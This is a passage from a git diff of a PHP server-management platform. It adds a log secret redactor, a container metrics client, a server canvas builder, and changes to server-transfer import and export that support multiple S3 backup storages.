'.escapeshellarg($exposedPort).'); ' + .'jq -nc --arg file "$file" --argjson port "${port:-null}" \'{kind: "dockerfile", file: $file, port: $port}\' ;; ' + .'compose) jq -nc --arg file "$file" \'{kind: "compose", file: $file}\' ;; ' + ."env) git cat-file blob \"\$object\" | head -c {$maxEnvBytes} | jq -Rsc --arg file \"\$file\" '{kind: \"env\", file: \$file, content: .}' ;; " + .'esac; done | jq -sc '.escapeshellarg($summary); + + return collect([ + "rm -rf /tmp/{$uuid}", + "mkdir -p /tmp/{$uuid}", + "cd /tmp/{$uuid}", + 'sh -c '.escapeshellarg($this->application->serverCheckoutCommand($uuid, $checkoutDir)), + "cd {$checkoutDir}", + 'sh -c '.escapeshellarg($scan), + ]); + } + + protected function parseOutput(string $output): RepositoryDetectionResult + { + $data = json_decode(trim($output), true); + + if (! is_array($data)) { + return RepositoryDetectionResult::none(); + } + + foreach (['dockerfiles', 'dockerComposeFiles', 'envFiles', 'dockerfilePorts'] as $key) { + if (isset($data[$key]) && ! is_array($data[$key])) { + return RepositoryDetectionResult::none(); + } + } + + $dockerfilePorts = []; + foreach ($data['dockerfilePorts'] ?? [] as $file => $port) { + $dockerfilePorts[$file] = (is_int($port) || (is_string($port) && ctype_digit($port))) && (int) $port > 0 && (int) $port <= 65535 ? (int) $port : null; + } + + return new RepositoryDetectionResult( + dockerfiles: $this->sortByPreference(array_filter($data['dockerfiles'] ?? [], 'is_string'), '/^dockerfile$/i'), + dockerComposeFiles: $this->sortByPreference(array_filter($data['dockerComposeFiles'] ?? [], 'is_string'), '/^docker-compose\.ya?ml$/i'), + envFiles: array_filter($data['envFiles'] ?? [], fn ($content) => is_string($content) || $content === null), + dockerfilePorts: $dockerfilePorts, + ); + } + + /** + * Puts the file nearest to the base directory first. At the same depth, a file with the default + * name (for example `Dockerfile`) comes before a variant. Other files keep the scan order. + * + * @param array $files + * @return array + */ + private function sortByPreference(array $files, string $defaultNamePattern): array + { + $files = array_values($files); + usort($files, fn (string $a, string $b): int => [substr_count($a, '/'), ! preg_match($defaultNamePattern, basename($a))] + <=> [substr_count($b, '/'), ! preg_match($defaultNamePattern, basename($b))]); + + return $files; + } +} diff --git a/app/Services/Security/SensitiveDataRedactor.php b/app/Services/Security/SensitiveDataRedactor.php new file mode 100644 index 0000000000..4ea688d1c6 --- /dev/null +++ b/app/Services/Security/SensitiveDataRedactor.php @@ -0,0 +1,325 @@ +redactEmails = false; + + return $redactor; + } + + /** + * Tell if redactText() would hide one of these known secrets in the text. + * + * @param array $knownSecrets + */ + public function containsKnownSecret(string $text, array $knownSecrets): bool + { + foreach ($knownSecrets as $secret) { + if (is_scalar($secret) && trim((string) $secret) !== '' && strlen((string) $secret) >= self::MIN_KNOWN_SECRET_LENGTH && str_contains($text, (string) $secret)) { + return true; + } + } + + return false; + } + + /** + * @param array $knownSecrets Exact values to replace when they are long enough to be safe to match, such as unlocked environment values. + * @param array $lockedSecrets Exact values to always replace, whatever their length, such as locked or remote secrets. + */ + public function redactText(string $text, array $knownSecrets = [], array $lockedSecrets = []): string + { + try { + $text = $this->normalizeText($text); + $text = $this->replaceKnownSecrets($text, $knownSecrets, $lockedSecrets); + + $redacted = ''; + foreach ($this->chunks($text) as $chunk) { + $redacted .= $this->redactChunk($chunk); + } + + return $redacted; + } catch (Throwable) { + return self::FAILURE_MESSAGE; + } + } + + /** + * @param array $knownSecrets + */ + public function redactValue(mixed $value, array $knownSecrets = [], ?string $key = null): mixed + { + try { + if ($key !== null && $this->isSensitiveKey($key)) { + return REDACTED; + } + if (is_array($value)) { + $redacted = []; + foreach ($value as $itemKey => $itemValue) { + $redacted[$itemKey] = $this->redactValue($itemValue, $knownSecrets, is_string($itemKey) ? $itemKey : null); + } + + return $redacted; + } + if (is_string($value)) { + return $this->redactText($value, $knownSecrets); + } + if (! is_object($value) || $value instanceof UnitEnum || $value instanceof DateTimeInterface) { + return $value; + } + if ($value instanceof Arrayable) { + return $this->redactValue($value->toArray(), $knownSecrets); + } + if ($value instanceof JsonSerializable) { + return $this->redactValue($value->jsonSerialize(), $knownSecrets); + } + if ($value instanceof Stringable) { + return $this->redactText((string) $value, $knownSecrets); + } + + return '[object '.$value::class.']'; + } catch (Throwable) { + return self::FAILURE_MESSAGE; + } + } + + /** + * Redact one chunk. When a pattern hits a PCRE limit, redact the chunk line by line so one huge line + * or an unterminated private key does not suppress the whole log. A line that still fails is suppressed. + */ + private function redactChunk(string $chunk): string + { + try { + return $this->redactAssignments($this->redactPatterns($chunk)); + } catch (RuntimeException) { + $redacted = ''; + $insidePrivateKey = false; + foreach (preg_split('/(?<=\n)/', $chunk) ?: [$chunk] as $line) { + if (! $insidePrivateKey && preg_match('/-----BEGIN [A-Z ]*PRIVATE KEY-----/', $line) === 1 && preg_match('/-----END [A-Z ]*PRIVATE KEY-----/', $line) !== 1) { + $insidePrivateKey = true; + $redacted .= REDACTED.(str_ends_with($line, "\n") ? "\n" : ''); + + continue; + } + if ($insidePrivateKey) { + $insidePrivateKey = preg_match('/-----END [A-Z ]*PRIVATE KEY-----/', $line) !== 1; + + continue; + } + try { + $redacted .= $this->redactAssignments($this->redactPatterns($line)); + } catch (RuntimeException) { + $redacted .= self::FAILURE_MESSAGE.(str_ends_with($line, "\n") ? "\n" : ''); + } + } + + return $redacted; + } + } + + private function normalizeText(string $text): string + { + $text = sanitize_utf8_text($text); + $text = preg_replace('/\x1B(?:[@-Z\\-_]|\[[0-?]*[ -\/]*[@-~])/', '', $text); + if ($text === null) { + throw new RuntimeException('Log normalization failed.'); + } + $text = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $text); + if ($text === null) { + throw new RuntimeException('Log normalization failed.'); + } + + return $text; + } + + /** + * Split large text on line boundaries so the regular expressions stay inside PCRE limits. + * A chunk never ends inside a private key block. + * + * @return iterable + */ + private function chunks(string $text): iterable + { + $length = strlen($text); + $offset = 0; + while ($offset < $length) { + $end = $this->lineEnd($text, $offset + self::CHUNK_BYTES); + $chunk = substr($text, $offset, $end - $offset); + if (preg_match('/-----BEGIN [A-Z ]*PRIVATE KEY-----(?![\s\S]*-----END [A-Z ]*PRIVATE KEY-----)/', $chunk) === 1) { + $end = preg_match('/-----END [A-Z ]*PRIVATE KEY-----/', $text, $match, PREG_OFFSET_CAPTURE, $end) === 1 + ? $this->lineEnd($text, $match[0][1] + strlen($match[0][0])) + : $length; + $chunk = substr($text, $offset, $end - $offset); + } + + yield $chunk; + $offset = $end; + } + } + + /** + * Find the end of the line that contains $position, without copying the text. + */ + private function lineEnd(string $text, int $position): int + { + if ($position >= strlen($text)) { + return strlen($text); + } + + $newline = strpos($text, "\n", $position); + + return $newline === false ? strlen($text) : $newline + 1; + } + + /** + * @param array $knownSecrets + * @param array $lockedSecrets + */ + private function replaceKnownSecrets(string $text, array $knownSecrets, array $lockedSecrets): string + { + $variants = []; + $shortVariants = []; + foreach ([[$knownSecrets, self::MIN_KNOWN_SECRET_LENGTH], [$lockedSecrets, 1]] as [$secrets, $minimumLength]) { + foreach ($secrets as $secret) { + if (! is_scalar($secret) || trim((string) $secret) === '' || strlen((string) $secret) < $minimumLength) { + continue; + } + $secret = (string) $secret; + $json = json_encode($secret, JSON_THROW_ON_ERROR | JSON_INVALID_UTF8_SUBSTITUTE); + // Short locked values such as "ab" would hit inside ordinary words, so they only match as whole tokens. + if (strlen($secret) < self::MIN_KNOWN_SECRET_LENGTH) { + array_push($shortVariants, $secret, rawurlencode($secret), substr($json, 1, -1)); + } else { + array_push($variants, $secret, rawurlencode($secret), substr($json, 1, -1)); + } + } + } + $byLengthDescending = fn (string $left, string $right): int => strlen($right) <=> strlen($left); + $variants = array_values(array_unique(array_filter($variants))); + usort($variants, $byLengthDescending); + $text = str_replace($variants, REDACTED, $text); + + // The text is valid UTF-8 after normalization, so a variant that is not valid UTF-8 cannot appear in it. + $shortVariants = array_values(array_unique(array_filter($shortVariants, fn (string $variant): bool => $variant !== '' && mb_check_encoding($variant, 'UTF-8')))); + if ($shortVariants === []) { + return $text; + } + usort($shortVariants, $byLengthDescending); + $alternatives = implode('|', array_map(fn (string $variant): string => preg_quote($variant, '/'), $shortVariants)); + $text = preg_replace('/(? preg_quote($key, '/'), $assignmentKeys)); + // A key matches when it is a sensitive name or ends with one, such as smtp_password or github-token. + $keys = '(?i:(?:[a-z0-9]+[_-])*(?:'.$keys.'))|[A-Z][A-Z0-9_]*(?:SECRET|PASSWORD|TOKEN|PASSWD|API_KEY|PRIVATE_KEY)[A-Z0-9_]*'; + $value = '(?"(?:[^"\\\\\r\n]|\\\\.)*"|\'(?:[^\'\\\\\r\n]|\\\\.)*\'|[^\s,;}\]]+)'; + // Skip values that an earlier rule already replaced, such as the token in https://x-access-token:@host. + $alreadyRedacted = '(?!'.preg_quote(REDACTED, '/').')'; + // Set when nothing but a delimiter follows the value on its line, as in YAML or object literals. + $endsValue = '(?(?=[^\S\r\n]*(?:$|[\r\n,;}\]])))?'; + // A quote that opens before the key and closes after the value wraps the whole assignment, as in + // the shell argument 'DB_PASSWORD=a b'. Hide everything up to the closing quote and keep the quote. + $text = preg_replace('/(?["\']?(?'.$keys.')["\']?\s*(?[=:])\s*)'.$alreadyRedacted.$value.$endsValue.'/m', function (array $match): string { + $value = $match['value']; + $quote = strlen($value) > 1 && in_array($value[0], ['"', "'"], true) && str_ends_with($value, $value[0]) ? $value[0] : ''; + // Prose such as "Failed to refresh token: Connection refused" uses a plain word key, a colon, and a plain word value. + $isProse = $quote === '' + && $match['separator'] === ':' + && ! in_array($match['prefix'][0], ['"', "'"], true) + && preg_match('/^[A-Za-z][a-z]*$/', $match['key']) === 1 + && ctype_alpha($value) + && $match['end'] === null; + + return $isProse ? $match[0] : $match['prefix'].$quote.REDACTED.$quote; + }, $text, flags: PREG_UNMATCHED_AS_NULL); + if ($result === null) { + throw new RuntimeException('Log redaction failed.'); + } + + return $result; + } + + private function redactPatterns(string $text): string + { + $patterns = [ + '/((?:Authorization|Proxy-Authorization)\s*:\s*)[^\r\n]+/i' => '$1'.REDACTED, + '/x-access-token:.*?(?=@)/' => 'x-access-token:'.REDACTED, + '/oauth2:.*?(?=@)/' => 'oauth2:'.REDACTED, + '/((?:https?|postgres|mysql|mongodb|rediss?|mariadb|ftp|sftp|ssh|amqp|amqps|ldap|ldaps|s3):\/\/[^:]+:)[^@]+(@)/i' => '$1'.REDACTED.'$2', + self::EMAIL_PATTERN => REDACTED, + '/Bearer\s+[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+/i' => 'Bearer '.REDACTED, + '/Bearer\s+[^\s,;]+/i' => 'Bearer '.REDACTED, + '/\bgh[pousr]_[A-Za-z0-9.\-_]{36,}(?![A-Za-z0-9.\-_])/' => REDACTED, + '/\b(gl(?:pat|cbt|rt)-[A-Za-z0-9\-_]{20,})\b/' => REDACTED, + '/\b(A(?:KIA|BIA|CCA|SIA)[A-Z0-9]{16})\b/' => REDACTED, + '/(aws_secret_access_key|AWS_SECRET_ACCESS_KEY)[=:]\s*[\'\"]?([A-Za-z0-9\/+\=]{40})[\'\"]?/i' => '$1='.REDACTED, + '/(api[_-]?key|apikey|api[_-]?secret|secret[_-]?key)[=:]\s*[\'\"]?[A-Za-z0-9\-_]{16,}[\'\"]?/i' => '$1='.REDACTED, + '/-----BEGIN [A-Z ]*PRIVATE KEY-----[\s\S]*?-----END [A-Z ]*PRIVATE KEY-----/' => REDACTED, + ]; + if (! $this->redactEmails) { + unset($patterns[self::EMAIL_PATTERN]); + } + + foreach ($patterns as $pattern => $replacement) { + $text = preg_replace($pattern, $replacement, $text); + if ($text === null) { + throw new RuntimeException('Log redaction failed.'); + } + } + + return $text; + } + + private function isSensitiveKey(string $key): bool + { + $normalized = strtolower(preg_replace(['/([a-z0-9])([A-Z])/', '/[-\s]+/'], ['$1_$2', '_'], $key) ?? $key); + + foreach (self::SENSITIVE_KEYS as $sensitiveKey) { + if ($normalized === $sensitiveKey || str_ends_with($normalized, '_'.$sensitiveKey)) { + return true; + } + } + + return false; + } +} diff --git a/app/Services/SentinelMetricsClient.php b/app/Services/SentinelMetricsClient.php new file mode 100644 index 0000000000..7d11edd852 --- /dev/null +++ b/app/Services/SentinelMetricsClient.php @@ -0,0 +1,230 @@ +startOfMinute(); + + $from = match ($range) { + '7d' => $now->subDays(7), + '30d' => $now->subDays(30), + default => $now->subDay(), + }; + + return $from->toIso8601ZuluString(); + } + + /** Bucket width per range, kept at roughly 300 points per series. */ + public static function bucketMs(string $range): int + { + return match ($range) { + '7d' => 30 * 60_000, + '30d' => 2 * 60 * 60_000, + default => 5 * 60_000, + }; + } + + /** + * @return array|null + */ + public function summary(): ?array + { + try { + $json = json_decode($this->raw($this->url('/summary')), true); + } catch (\Throwable) { + return null; + } + + if (! is_array($json)) { + return null; + } + + $disk = $this->rootMount($json['disk'] ?? []); + + return [ + 'online' => true, + 'cpu' => isset($json['cpu']['percent']) ? (float) $json['cpu']['percent'] : null, + 'memUsed' => isset($json['memory']['used']) ? (int) $json['memory']['used'] : null, + 'memTotal' => isset($json['memory']['total']) ? (int) $json['memory']['total'] : null, + 'diskUsed' => $disk['used'], + 'diskTotal' => $disk['total'], + 'diskPercent' => $disk['percent'], + 'load1' => isset($json['load']['load1']) ? (float) $json['load']['load1'] : null, + 'netRx' => isset($json['network']['rxBytesPerSec']) ? (float) $json['network']['rxBytesPerSec'] : null, + 'netTx' => isset($json['network']['txBytesPerSec']) ? (float) $json['network']['txBytesPerSec'] : null, + ]; + } + + /** + * @return array> + */ + public function containersCurrent(): array + { + try { + $rows = json_decode($this->raw($this->url('/containers/current')), true); + } catch (\Throwable) { + return []; + } + + if (! is_array($rows)) { + return []; + } + + return array_values(array_map(function ($c) { + $disk = ($c['disk']['writableLayer'] ?? 0) + ($c['disk']['volumesTotal'] ?? 0); + $net = ($c['network']['rxBytesPerSec'] ?? 0) + ($c['network']['txBytesPerSec'] ?? 0); + + return [ + 'id' => (string) ($c['id'] ?? ''), + 'cpu' => isset($c['cpu']['percent']) ? (float) $c['cpu']['percent'] : null, + 'memUsed' => isset($c['memory']['used']) ? (int) $c['memory']['used'] : null, + 'memPercent' => isset($c['memory']['usedPercent']) ? (float) $c['memory']['usedPercent'] : null, + 'diskBytes' => isset($c['disk']) ? (int) $disk : null, + 'net' => isset($c['network']) ? (float) $net : null, + ]; + }, $rows)); + } + + /** + * @return array + */ + public function history(string $metric, string $range): array + { + [$path, $field] = match ($metric) { + 'memory' => ['/memory/history', 'used'], + 'disk' => ['/disk/history', 'usedPercent'], + 'load' => ['/load/history', 'load1'], + default => ['/cpu/history', 'percent'], + }; + + return $this->seriesRows($this->url($path, ['from' => self::rangeFrom($range)]), $field, $range, $metric === 'disk'); + } + + /** + * @return array{rx: array, tx: array} + */ + public function networkHistory(string $range): array + { + $url = $this->url('/network/history', ['from' => self::rangeFrom($range)]); + + return [ + 'rx' => $this->seriesRows($url, 'rxBytesPerSec', $range), + 'tx' => $this->seriesRows($url, 'txBytesPerSec', $range), + ]; + } + + /** + * @return array + */ + private function seriesRows(string $url, string $field, string $range, bool $rootOnly = false): array + { + try { + $rows = json_decode($this->raw($url), true); + } catch (\Throwable) { + return []; + } + + if (! is_array($rows)) { + return []; + } + + // Disk history interleaves every mount; keep the root filesystem only. + if ($rootOnly && array_any($rows, fn ($row) => array_key_exists('mount', $row))) { + $rows = array_filter($rows, fn ($row) => ($row['mount'] ?? null) === '/'); + } + + // Average raw samples into epoch-aligned buckets so every server shares the same + // timestamps and the fleet aggregator can sum them point by point. + $bucketMs = self::bucketMs($range); + $sums = []; + $counts = []; + foreach ($rows as $r) { + $bucket = intdiv((int) ($r['time'] ?? 0), $bucketMs) * $bucketMs; + $sums[$bucket] = ($sums[$bucket] ?? 0.0) + (float) ($r[$field] ?? 0); + $counts[$bucket] = ($counts[$bucket] ?? 0) + 1; + } + ksort($sums); + + return array_map(fn ($bucket) => [$bucket, round($sums[$bucket] / $counts[$bucket], 2)], array_keys($sums)); + } + + /** + * @param array> $mounts + * @return array{used: ?int, total: ?int, percent: ?float} + */ + private function rootMount(array $mounts): array + { + $root = collect($mounts)->firstWhere('mount', '/'); + if ($root === null && ! array_any($mounts, fn ($mount) => array_key_exists('mount', $mount))) { + $root = $mounts[0] ?? null; + } + + if ($root === null) { + return ['used' => null, 'total' => null, 'percent' => null]; + } + + return [ + 'used' => (int) ($root['used'] ?? 0), + 'total' => (int) ($root['total'] ?? 0), + 'percent' => (float) ($root['usedPercent'] ?? 0), + ]; + } + + /** + * @param array $query + */ + private function url(string $path, array $query = []): string + { + $qs = empty($query) ? '' : '?'.str_replace('%3A', ':', http_build_query($query)); + + return $this->base.$path.$qs; + } + + private function cacheKey(string $url): string + { + return 'metrics:'.$this->server->uuid.':'.md5($url); + } + + protected function raw(string $url): string + { + return Cache::remember($this->cacheKey($url), 60, fn () => $this->guard($this->remoteFetch($url))); + } + + protected function remoteFetch(string $url): string + { + $token = $this->server->settings->ensureValidSentinelToken(); + + return instant_remote_process( + ["docker exec coolify-sentinel sh -c 'curl -s --max-time 10 -H \"Authorization: Bearer {$token}\" \"{$url}\"'"], + $this->server, + false, + timeout: 15 + ); + } + + private function guard(string $response): string + { + $payload = json_decode($response, true); + + if ($payload === null) { + throw new \RuntimeException('Metrics returned an invalid response.'); + } + + if (is_array($payload) && array_key_exists('error', $payload)) { + throw new \RuntimeException('Metrics request failed.'); + } + + return $response; + } +} diff --git a/app/Services/ServerCanvas.php b/app/Services/ServerCanvas.php new file mode 100644 index 0000000000..061bd2ad2c --- /dev/null +++ b/app/Services/ServerCanvas.php @@ -0,0 +1,142 @@ + $servers servers of the team to show + * @return array{title: string, title_link: ?string, can_edit: bool, layout: 'server', zones: array>, nodes: array>, links: array>, positions: array} + */ + public function payload(int $teamId, Collection $servers, ?Server $single, bool $canReadSensitive, bool $canEdit = false): array + { + $environments = Environment::query() + ->whereHas('project', fn ($query) => $query->where('team_id', $teamId)) + ->get(['id', 'canvas_positions']); + $resources = $this->loadResources($environments->pluck('id')); + $links = ResourceLink::query()->whereIn('environment_id', $environments->pluck('id'))->orderBy('id')->get(); + $graph = $this->canvas->graph($resources, $links, $canReadSensitive); + + $serverUuids = $servers->pluck('uuid')->all(); + $context = $resources->map(fn (Model $resource) => [ + 'context' => $resource->environment->project->name.' / '.$resource->environment->name, + 'context_link' => route('project.resource.index', ['project_uuid' => $resource->environment->project->uuid, 'environment_uuid' => $resource->environment->uuid]), + // The canvas filters resources by project and environment. + 'project' => ['uuid' => $resource->environment->project->uuid, 'name' => $resource->environment->project->name], + 'environment' => ['uuid' => $resource->environment->uuid, 'name' => $resource->environment->name], + ]); + $nodes = collect($graph['nodes']) + ->filter(fn (array $node) => array_intersect([$node['zone'], ...$node['extra_zones']], $serverUuids) !== []) + ->map(function (array $node) use ($serverUuids, $context) { + // A resource that also runs on a shown server (additional server) sits in that server's zone. + if (! in_array($node['zone'], $serverUuids, true)) { + $node['zone'] = collect($node['extra_zones'])->first(fn ($uuid) => in_array($uuid, $serverUuids, true)); + } + + return [...$node, ...$context->get($node['id'])]; + }) + ->values(); + $shown = $nodes->pluck('id')->flip(); + + return [ + 'title' => $single ? $single->name : 'Servers', + 'title_link' => $single ? route('server.show', ['server_uuid' => $single->uuid]) : null, + // Unmanaged containers need a command on the server, so the canvas loads them after it renders. + 'containers_endpoint' => $single ? '/servers/'.$single->uuid.'/canvas/containers' : null, + 'can_edit' => $canEdit, + // Tells the canvas to group cards by project / environment and place linked cards side by side. + 'layout' => 'server', + 'zones' => $servers->map(fn (Server $server) => $this->canvas->zone($server, $canReadSensitive))->values()->all(), + 'nodes' => $nodes->all(), + 'links' => collect($graph['links'])->filter(fn (array $link) => $shown->has($link['source']) && $shown->has($link['target']))->values()->all(), + // Card positions saved on the environment canvases; the canvas keeps their arrangement per project / environment group. + 'positions' => $this->canvas->filterPositions( + $environments->reduce(fn (array $positions, Environment $environment) => [...$positions, ...($environment->canvas_positions ?? [])], []), + $nodes->pluck('id')->all(), + ), + ]; + } + + /** + * Read-only cards for the Docker containers on the server that Coolify does not manage. + * Only the one-server canvas loads them, in a separate request, because this runs a command on the server. + * + * @return Collection> + */ + public function unmanagedContainerNodes(Server $server): Collection + { + try { + $containers = $server->loadUnmanagedContainers(); + } catch (\Throwable) { + return collect(); + } + + return $containers + ->filter(fn ($container) => filled(data_get($container, 'ID'))) + ->map(function ($container) use ($server) { + $health = str((string) data_get($container, 'Status'))->match('/\((healthy|unhealthy)\)/')->value(); + + return [ + 'id' => 'container:'.data_get($container, 'ID'), + 'type' => 'container', + 'name' => (string) data_get($container, 'Names'), + 'status' => collect([(string) data_get($container, 'State', 'unknown'), $health])->filter()->implode(':'), + 'zone' => $server->uuid, + 'extra_zones' => [], + 'urls' => [], + 'subtitle' => (string) data_get($container, 'Image'), + 'children' => [], + 'volumes' => [], + 'link' => route('server.resources', ['server_uuid' => $server->uuid]), + 'context' => 'Unmanaged containers', + 'context_link' => route('server.resources', ['server_uuid' => $server->uuid]), + ]; + }) + ->sortBy('name', SORT_NATURAL) + ->values(); + } + + /** + * Top-level resources of the given environments, keyed by uuid, with the relations the canvas reads. + * + * @param Collection $environmentIds + * @return Collection + */ + public function loadResources(Collection $environmentIds): Collection + { + $applications = Application::query()->whereIn('environment_id', $environmentIds) + ->with(['environment.project', 'destination.server.settings', 'additional_servers.settings', 'persistentStorages']) + ->get(); + $services = Service::query()->whereIn('environment_id', $environmentIds) + ->with([ + 'environment.project', + 'server.settings', + 'destination.server.settings', + 'applications.persistentStorages', + 'databases.persistentStorages', + ]) + ->get(); + $databases = collect(EnvironmentCanvas::DATABASE_RELATIONS) + ->flatMap(fn (string $relation) => (new Environment)->{$relation}()->getRelated()->newQuery() + ->whereIn('environment_id', $environmentIds) + ->with(['environment.project', 'destination.server.settings', 'persistentStorages']) + ->get()); + + return collect()->concat($applications)->concat($services)->concat($databases)->keyBy('uuid'); + } +} diff --git a/app/Services/ServerTransfer/ServerTransferExporter.php b/app/Services/ServerTransfer/ServerTransferExporter.php index 8db6e5afd1..176aa8d30d 100644 --- a/app/Services/ServerTransfer/ServerTransferExporter.php +++ b/app/Services/ServerTransfer/ServerTransferExporter.php @@ -16,6 +16,7 @@ use App\Models\Project; use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; use App\Models\ScheduledTask; +use App\Models\ScheduledVolumeBackup; use App\Models\Server; use App\Models\Service; use App\Models\SharedEnvironmentVariable; @@ -202,22 +203,22 @@ class ServerTransferExporter } } - $collectVolumeS3 = function ($resource) use (&$s3Ids): void { + $collectBackupS3 = function (ScheduledDatabaseBackup|ScheduledVolumeBackup $backup) use (&$s3Ids): void { + $s3Ids->push($backup->s3_storage_id, ...$backup->s3Storages()->pluck('s3_storages.id')->all()); + }; + + $collectVolumeS3 = function ($resource) use ($collectBackupS3): void { if (method_exists($resource, 'persistentStorages')) { foreach ($resource->persistentStorages as $volume) { foreach ($volume->scheduledBackups as $vb) { - if ($vb->s3_storage_id) { - $s3Ids->push($vb->s3_storage_id); - } + $collectBackupS3($vb); } } } if (method_exists($resource, 'fileStorages')) { foreach ($resource->fileStorages as $file) { foreach ($file->scheduledBackups as $vb) { - if ($vb->s3_storage_id) { - $s3Ids->push($vb->s3_storage_id); - } + $collectBackupS3($vb); } } } @@ -226,9 +227,7 @@ class ServerTransferExporter foreach ($databases as $database) { if (method_exists($database, 'scheduledBackups')) { foreach ($database->scheduledBackups as $backup) { - if ($backup->s3_storage_id) { - $s3Ids->push($backup->s3_storage_id); - } + $collectBackupS3($backup); } } $database->loadMissing(['persistentStorages.scheduledBackups', 'fileStorages.scheduledBackups']); @@ -257,9 +256,7 @@ class ServerTransferExporter } foreach ($service->databases as $serviceDb) { foreach ($serviceDb->scheduledBackups as $backup) { - if ($backup->s3_storage_id) { - $s3Ids->push($backup->s3_storage_id); - } + $collectBackupS3($backup); } $collectVolumeS3($serviceDb); } @@ -733,6 +730,7 @@ class ServerTransferExporter 'is_include_timestamps' => (bool) ($app->is_include_timestamps ?? false), 'is_gzip_enabled' => (bool) ($app->is_gzip_enabled ?? true), 'is_stripprefix_enabled' => (bool) ($app->is_stripprefix_enabled ?? true), + 'traefik_certificate_resolver' => $app->traefik_certificate_resolver ?? null, 'environment_variables' => method_exists($app, 'environment_variables') ? $this->exportEnvVars($app->environment_variables()->get()) : [], @@ -862,6 +860,7 @@ class ServerTransferExporter 'is_shown_once' => (bool) $variable->is_shown_once, 'is_shared' => (bool) $variable->is_shared, 'is_required' => (bool) ($variable->is_required ?? false), + 'uses_legacy_escaping' => (bool) $variable->uses_legacy_escaping, 'comment' => $variable->comment, 'order' => $variable->order, ]; @@ -981,6 +980,7 @@ class ServerTransferExporter 'timeout' => $backup->timeout, 'disable_local_backup' => (bool) ($backup->disable_local_backup ?? false), 's3_storage_uuid' => $backup->s3?->uuid, + 's3_storage_uuids' => $backup->selectedS3Storages()->pluck('uuid')->values()->all(), 'had_s3_storage' => filled($backup->s3_storage_id), ]; } @@ -1193,6 +1193,7 @@ class ServerTransferExporter 'retention_max_storage_s3' => $backup->retention_max_storage_s3, 'timeout' => $backup->timeout, 's3_storage_uuid' => $backup->s3?->uuid, + 's3_storage_uuids' => $backup->selectedS3Storages()->pluck('uuid')->values()->all(), 'had_s3_storage' => filled($backup->s3_storage_id), ]; } diff --git a/app/Services/ServerTransfer/ServerTransferImporter.php b/app/Services/ServerTransfer/ServerTransferImporter.php index 90fe5954d0..4c175fc8af 100644 --- a/app/Services/ServerTransfer/ServerTransferImporter.php +++ b/app/Services/ServerTransfer/ServerTransferImporter.php @@ -128,7 +128,7 @@ class ServerTransferImporter $serverIp = (string) data_get($bundle, 'server.ip'); $uuidConflict = Server::withTrashed()->where('uuid', $serverUuid)->exists() && $preserveUuids; - $existingIp = Server::where('ip', $serverIp)->first(); + $existingIp = Server::where('ip', Server::normalizeIp($serverIp))->first(); $ipConflict = $existingIp !== null; if (! $dryRun && $uuidConflict) { @@ -1031,6 +1031,8 @@ class ServerTransferImporter 'is_shown_once' => (bool) data_get($variable, 'is_shown_once', false), 'is_shared' => (bool) data_get($variable, 'is_shared', false), 'is_required' => (bool) data_get($variable, 'is_required', false), + // Exports from older versions have no flag; their values use the old escaping. + 'uses_legacy_escaping' => (bool) data_get($variable, 'uses_legacy_escaping', true), 'comment' => data_get($variable, 'comment'), 'order' => data_get($variable, 'order'), 'resourceable_type' => $resource->getMorphClass(), @@ -1237,13 +1239,10 @@ class ServerTransferImporter $uuid = new_public_id(); } - $s3Id = null; - $s3Uuid = data_get($backup, 's3_storage_uuid'); - if ($s3Uuid && isset($this->s3StorageMap[$s3Uuid])) { - $s3Id = $this->s3StorageMap[$s3Uuid]->id; - } + $s3Ids = $this->importedBackupS3StorageIds($backup); + $s3Id = $s3Ids[0] ?? null; - ScheduledDatabaseBackup::create([ + $importedBackup = ScheduledDatabaseBackup::create([ 'uuid' => $uuid, 'team_id' => $teamId, 'description' => data_get($backup, 'description'), @@ -1264,9 +1263,26 @@ class ServerTransferImporter 'database_type' => $database->getMorphClass(), 'database_id' => $database->id, ]); + $importedBackup->syncS3Storages($s3Ids); } } + /** + * Maps the exported S3 destinations of a backup to imported storages, primary first. Older bundles only have + * `s3_storage_uuid`. + * + * @param array $backup + * @return list + */ + private function importedBackupS3StorageIds(array $backup): array + { + $uuids = collect(data_get($backup, 's3_storage_uuids', [])) + ->prepend(data_get($backup, 's3_storage_uuid')) + ->filter(fn ($uuid): bool => is_string($uuid) && isset($this->s3StorageMap[$uuid])); + + return $uuids->map(fn (string $uuid): int => $this->s3StorageMap[$uuid]->id)->unique()->values()->all(); + } + /** * @param array $payload */ @@ -1612,13 +1628,10 @@ class ServerTransferImporter $uuid = new_public_id(); } - $s3Id = null; - $s3Uuid = data_get($backupPayload, 's3_storage_uuid'); - if ($s3Uuid && isset($this->s3StorageMap[$s3Uuid])) { - $s3Id = $this->s3StorageMap[$s3Uuid]->id; - } + $s3Ids = $this->importedBackupS3StorageIds($backupPayload); + $s3Id = $s3Ids[0] ?? null; - ScheduledVolumeBackup::create([ + $importedBackup = ScheduledVolumeBackup::create([ 'uuid' => $uuid, 'backupable_type' => $volume->getMorphClass(), 'backupable_id' => $volume->id, @@ -1637,6 +1650,7 @@ class ServerTransferImporter 'retention_max_storage_s3' => data_get($backupPayload, 'retention_max_storage_s3'), 'timeout' => data_get($backupPayload, 'timeout'), ]); + $importedBackup->syncS3Storages($s3Ids); $count++; } diff --git a/app/Services/ServerTransfer/ServerTransferMigrator.php b/app/Services/ServerTransfer/ServerTransferMigrator.php index 2ec3b6c63d..1c2571e3d0 100644 --- a/app/Services/ServerTransfer/ServerTransferMigrator.php +++ b/app/Services/ServerTransfer/ServerTransferMigrator.php @@ -4,6 +4,8 @@ namespace App\Services\ServerTransfer; use App\Models\Server; use App\Rules\SafeWebhookUrl; +use App\Services\Security\SensitiveDataRedactor; +use Illuminate\Database\QueryException; use Illuminate\Http\Client\ConnectionException; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Validator; @@ -80,8 +82,10 @@ class ServerTransferMigrator targetInstanceUrl: $targetUrl, ); } catch (Throwable $e) { + // Query errors include SQL and bindings, so they are never shown to the user. + $reason = $e instanceof QueryException ? 'a database error occurred' : remove_iip($e->getMessage()); throw new RuntimeException( - "Server was imported on {$targetUrl}, but this instance could not mark it as transferred: {$e->getMessage()}. ". + "Server was imported on {$targetUrl}, but this instance could not mark it as transferred: {$reason}. ". 'Disable management of this server here (or API: POST /api/v1/servers/{uuid}/transfer/complete) so automations stay disabled. Do not re-import on the target.', previous: $e ); @@ -91,7 +95,7 @@ class 